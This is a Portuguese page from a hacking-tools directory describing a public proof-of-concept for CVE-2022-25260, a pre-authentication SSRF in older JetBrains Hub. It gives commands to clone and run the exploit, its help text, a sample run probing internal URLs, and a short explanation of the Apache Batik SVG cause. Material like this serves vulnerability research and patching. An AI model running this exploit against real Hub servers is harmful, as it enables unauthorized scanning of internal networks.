Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-25260 — PoC for CVE-2022-25260: pre-auth semi-blind SSRF in JetBrains Hub | Kitploit
Ferramentas/GitHubGitHub/yuriisanin/cve-2022-25260
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation Gathering
GitHubyuriisanin/cve-2022-25260

CVE-2022-25260

PoC for CVE-2022-25260: pre-auth semi-blind SSRF in JetBrains Hub

Ver Repositório
43há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-25260

JetBrains Hub pré-autenticação SSRF semi-cego (server-side request forgery)

Requisitos

  • JetBrains Hub <2021.1.14276
  • JetBrains Hub anterior a 2021.1.14276 era vulnerável a controle de acesso inadequado (CVE-2022-34894), o que permite que um atacante crie serviços não confiáveis sem autenticação, mesmo que o usuário convidado esteja desabilitado. Isso torna possível explorar a vulnerabilidade sem quaisquer outros requisitos (normalmente, um atacante precisaria estar pelo menos autenticado)

Uso

Instalar & executar:

root@kitploit:~
$ git clone https://github.com/yuriisanin/CVE-2022-25260
$ cd CVE-2022-25260/
$ python3 exploit.py -h

|--------------------------------------------------------------------|
|       CVE-2022-25260 JetBrains Hub pre-auth semi-blind SSRF        |
|           developed by Yurii Sanin (Twitter: @SaninYurii)          |
|--------------------------------------------------------------------|
usage: exploit.py [-h] -hub_url HUB_URL -email EMAIL [-internal_urls_file INTERNAL_URLS_FILE] [-internal_url INTERNAL_URL]

optional arguments:
  -h, --help            show this help message and exit
  -hub_url HUB_URL      Target Hub instance
  -email EMAIL          Email address of any user in the system
  -internal_urls_file INTERNAL_URLS_FILE
                        Path to internal service URLs file
  -internal_url INTERNAL_URL
                        Internal service URL
  

Uso:

root@kitploit:~
$ python3 exploit.py hub_url http://localhost:8080 -email [email protected] -internal_urls_file ./assets/payloads/urls.txt

|--------------------------------------------------------------------|
|       CVE-2022-25260 JetBrains Hub pre-auth semi-blind SSRF        |
|           developed by Yurii Sanin (Twitter: @SaninYurii)          |
|--------------------------------------------------------------------|
[INFO] - staring scanning for 14 urls.
[INFO] - trying to create Hub service.
[INFO] - Hub service create, serviceId: '02cc6043-1469-4a8e-9a74-b003e721620c'.
[INFO] - trying to request: 'http://127.0.0.1:8080'.
[INFO] - OK. Host 'http://127.0.0.1:8080' is running HTTP service (XML-like response) [FOUND]. Message: 'Attribute name "ng-strict-di" associated with an element type "html" must be followed by the ' = ' character.'.
[INFO] - trying to request: 'http://127.0.0.1:8081'.
[INFO] - OK. Host 'http://127.0.0.1:8081' is DOWN.
[INFO] - trying to request: 'http://google.com'.
[INFO] - OK. Host 'http://google.com' is running HTTP service (presumably XML-like response) [FOUND]. Message: 'The markup in the document preceding the root element must be well-formed.'.

DEMO:

CVE-2022-24342 Demonstração

Como funciona?

A vulnerabilidade foi possível devido ao uso do Apache Batik com configurações padrão para a rasterização de ícones SVG fornecidos pelo usuário. Você pode encontrar mais informações sobre exploração de rasterização SVG do lado do servidor AQUI.

Suporte

Você pode me seguir no Twitter, GitHub ou YouTube.

Baixar ferramenta